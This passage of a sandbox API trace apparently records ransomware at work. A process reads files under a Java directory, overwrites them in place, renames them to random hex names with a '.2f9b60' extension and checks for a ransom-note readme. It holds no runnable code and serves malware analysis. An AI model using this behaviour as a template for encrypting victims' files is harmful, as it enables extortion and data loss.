Seed=0x4550f630) returned 0x7ef4a27a [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x307cc78a [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x27c920cb [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x661406e6 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x66fe8581 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x3c665346 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0xcc02456 [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x508867ff [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x12cc931e [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x91df72c [0167.634] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x382e36db [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x4ab33b4a [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x3301bca0 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x342da9e0 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x100de8e8 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x10c76d48 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x28932d27 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0xbf0c1dd [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x5dec8f1e [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x21f47967 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x6ce3f9fc [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x18a9b012 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x56366f13 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x50c4e25f [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0xf9926e6 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x7f7dee78 [0167.635] RtlRandomEx (in: Seed=0x4550f630 | out: Seed=0x4550f630) returned 0x3cad1ff5 [0167.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0cb0 [0167.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0167.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bf0 [0167.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0167.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ce0) returned 1 [0167.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0167.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0167.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a66280 [0167.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a5ae50 [0167.645] ReadFile (in: hFile=0x2bc8, lpBuffer=0x42a66280, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x4550f630, lpOverlapped=0x0 | out: lpBuffer=0x42a66280*, lpNumberOfBytesRead=0x4550f630*=0x55, lpOverlapped=0x0) returned 1 [0167.645] SetFilePointerEx (in: hFile=0x2bc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.646] WriteFile (in: hFile=0x2bc8, lpBuffer=0x42a5ae50*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x4550f634, lpOverlapped=0x0 | out: lpBuffer=0x42a5ae50*, lpNumberOfBytesWritten=0x4550f634*=0x55, lpOverlapped=0x0) returned 1 [0184.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72f0 [0184.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aea0 [0184.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aea0) returned 1 [0184.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a5ae50) returned 1 [0184.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a66280) returned 1 [0184.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0184.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0184.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85aea0 [0184.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0184.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0184.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0184.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0184.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ab40 [0184.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0184.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0184.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0184.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0184.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0184.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x431b2720 [0191.920] SetFilePointerEx (in: hFile=0x2bc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.920] WriteFile (in: hFile=0x2bc8, lpBuffer=0x431b2720*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4550f750, lpOverlapped=0x0 | out: lpBuffer=0x431b2720*, lpNumberOfBytesWritten=0x4550f750*=0x106, lpOverlapped=0x0) returned 1 [0207.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0207.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a40 [0207.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a40) returned 1 [0207.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d6c0 [0207.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a40 [0207.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b00 [0207.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b00) returned 1 [0207.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0207.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ac720 [0207.447] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="7f") returned 2 [0207.447] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="8f") returned 2 [0207.447] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="38") returned 2 [0207.448] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="5a") returned 2 [0207.448] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="85") returned 2 [0207.448] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="1e") returned 2 [0207.448] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="da") returned 2 [0207.448] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="fc") returned 2 [0207.448] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.448] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="ba") returned 2 [0207.448] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="c9") returned 2 [0207.448] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="60") returned 2 [0207.448] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="40") returned 2 [0207.448] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="11") returned 2 [0207.448] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="2a") returned 2 [0207.448] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="9b") returned 2 [0207.448] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="da") returned 2 [0207.448] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.448] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="4d") returned 2 [0207.448] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="54") returned 2 [0207.448] RtlInitAnsiString (in: DestinationString=0x4550f7c8, SourceString="7f8f385a851edafca5bac96040112a9bdaa14d54" | out: DestinationString="7f8f385a851edafca5bac96040112a9bdaa14d54") [0207.448] RtlAnsiStringToUnicodeString (in: DestinationString=0x4550f798, SourceString="7f8f385a851edafca5bac96040112a9bdaa14d54", AllocateDestinationString=1 | out: DestinationString="7f8f385a851edafca5bac96040112a9bdaa14d54") returned 0x0 [0207.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431fa260 [0207.449] wcscat (in: _Dest=0x431a0960, _Source="7f8f385a85" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\7f8f385a85") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\7f8f385a85" [0207.449] wcscat (in: _Dest=0x431a0960, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\7f8f385a85.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\7f8f385a85.2f9b60" [0207.449] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\7f8f385a85.2f9b60", NtPathName=0x4550f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\7f8f385a85.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43144f60 [0237.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144f60) returned 1 [0237.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316e990) returned 1 [0237.689] NtQueryInformationFile (in: FileHandle=0x2bc8, IoStatusBlock=0x4550f7d8, FileInformation=0x4550f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4550f7d8, FileInformation=0x4550f7e8) returned 0x0 [0237.689] NtSetInformationFile (FileHandle=0x2bc8, IoStatusBlock=0x4550f7d8, FileInformation=0x4550f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0960) returned 1 [0237.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fa260) returned 1 [0237.964] FlushFileBuffers (hFile=0x2bc8) returned 1 [0238.240] CloseHandle (hObject=0x2bc8) returned 1 [0241.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202aeda0 [0241.682] wcscpy (in: _Dest=0x202aeda0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.682] wcscat (in: _Dest=0x202aeda0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.682] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aeda0) returned 1 [0243.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5ef80) returned 1 Thread: id = 2849 os_tid = 0x1aa8 [0160.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ouagadougou")) returned 0x20 [0165.804] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou", dwFileAttributes=0x20) returned 1 [0166.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ouagadougou"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bbc [0167.615] GetFileSizeEx (in: hFile=0x2bbc, lpFileSize=0x3733fe20 | out: lpFileSize=0x3733fe20*=65) returned 1 [0167.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e90 [0167.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0dd0 [0167.616] NtQuerySystemTime (in: CurrentTime=0x3733fce0 | out: CurrentTime=0x3733fce0*=132462177727306000) returned 0x0 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x4ae343e4 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x3a4fc8c1 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x7abaa573 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x75849aa7 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x264c9998 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x679aebfd [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x7336ff54 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x2d9da7a5 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x78f268bc [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x5e7a2380 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x558d44fc [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x6663e229 [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x54396abe [0167.616] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x105a4056 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x3402d120 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x4bc0557c [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x40b5d55b [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x89bca7d [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x13726b05 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x33ad1fa0 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x2279a4b5 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x411d6e4b [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0xad70e61 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x1ccf7681 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x5f6526e1 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x66dd7efc [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x13cdb5ea [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x36c2db02 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x6c876fca [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x57cd4b7c [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x7f94b163 [0167.617] RtlRandomEx (in: Seed=0x3733fcd0 | out: Seed=0x3733fcd0) returned 0x3f88d958 [0167.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e00 [0167.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0167.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d10 [0167.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0167.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0dd0) returned 1 [0167.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18ff0 [0167.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0167.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a7cae0 [0167.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a62670 [0167.627] ReadFile (in: hFile=0x2bbc, lpBuffer=0x42a7cae0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x3733fcd0, lpOverlapped=0x0 | out: lpBuffer=0x42a7cae0*, lpNumberOfBytesRead=0x3733fcd0*=0x41, lpOverlapped=0x0) returned 1 [0167.628] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.628] WriteFile (in: hFile=0x2bbc, lpBuffer=0x42a62670*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x3733fcd4, lpOverlapped=0x0 | out: lpBuffer=0x42a62670*, lpNumberOfBytesWritten=0x3733fcd4*=0x41, lpOverlapped=0x0) returned 1 [0184.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0184.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ac0 [0184.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ac0) returned 1 [0184.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a62670) returned 1 [0184.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a7cae0) returned 1 [0184.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0184.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18ff0) returned 1 [0184.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1ac0 [0184.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18ff0 [0184.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0184.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b00 [0184.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b00) returned 1 [0184.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a3b00 [0184.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a30 [0184.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a00 [0184.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a00) returned 1 [0184.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0184.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18ff0) returned 1 [0184.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431b4720 [0191.932] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.932] WriteFile (in: hFile=0x2bbc, lpBuffer=0x431b4720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3733fdf0, lpOverlapped=0x0 | out: lpBuffer=0x431b4720*, lpNumberOfBytesWritten=0x3733fdf0*=0x108, lpOverlapped=0x0) returned 1 [0207.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0207.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bf0 [0207.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bf0) returned 1 [0207.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d6c0 [0207.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bf0 [0207.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0cb0 [0207.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0cb0) returned 1 [0207.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0207.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac720 [0207.455] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="22") returned 2 [0207.455] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="4d") returned 2 [0207.456] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.456] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="17") returned 2 [0207.456] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="ae") returned 2 [0207.456] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.456] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="90") returned 2 [0207.456] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="9b") returned 2 [0207.456] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="a0") returned 2 [0207.456] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.456] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="ce") returned 2 [0207.456] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="f9") returned 2 [0207.456] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="f8") returned 2 [0207.456] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="9e") returned 2 [0207.456] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="33") returned 2 [0207.456] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="67") returned 2 [0207.456] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="43") returned 2 [0207.456] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="20") returned 2 [0207.456] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="20") returned 2 [0207.456] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="39") returned 2 [0207.456] sprintf (in: _Dest=0x431ac748, _Format="%c%c" | out: _Dest="39") returned 2 [0207.456] sprintf (in: _Dest=0x431ac74a, _Format="%c%c" | out: _Dest="81") returned 2 [0207.456] RtlInitAnsiString (in: DestinationString=0x3733fe68, SourceString="224db117aee0909ba06bcef9f89e3367432020393981" | out: DestinationString="224db117aee0909ba06bcef9f89e3367432020393981") [0207.456] RtlAnsiStringToUnicodeString (in: DestinationString=0x3733fe38, SourceString="224db117aee0909ba06bcef9f89e3367432020393981", AllocateDestinationString=1 | out: DestinationString="224db117aee0909ba06bcef9f89e3367432020393981") returned 0x0 [0207.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e90c0 [0207.457] wcscat (in: _Dest=0x431a09f0, _Source="224db117aee" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\224db117aee") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\224db117aee" [0207.457] wcscat (in: _Dest=0x431a09f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\224db117aee.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\224db117aee.2f9b60" [0207.457] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\224db117aee.2f9b60", NtPathName=0x3733fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\224db117aee.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43145010 [0237.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145010) returned 1 [0237.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 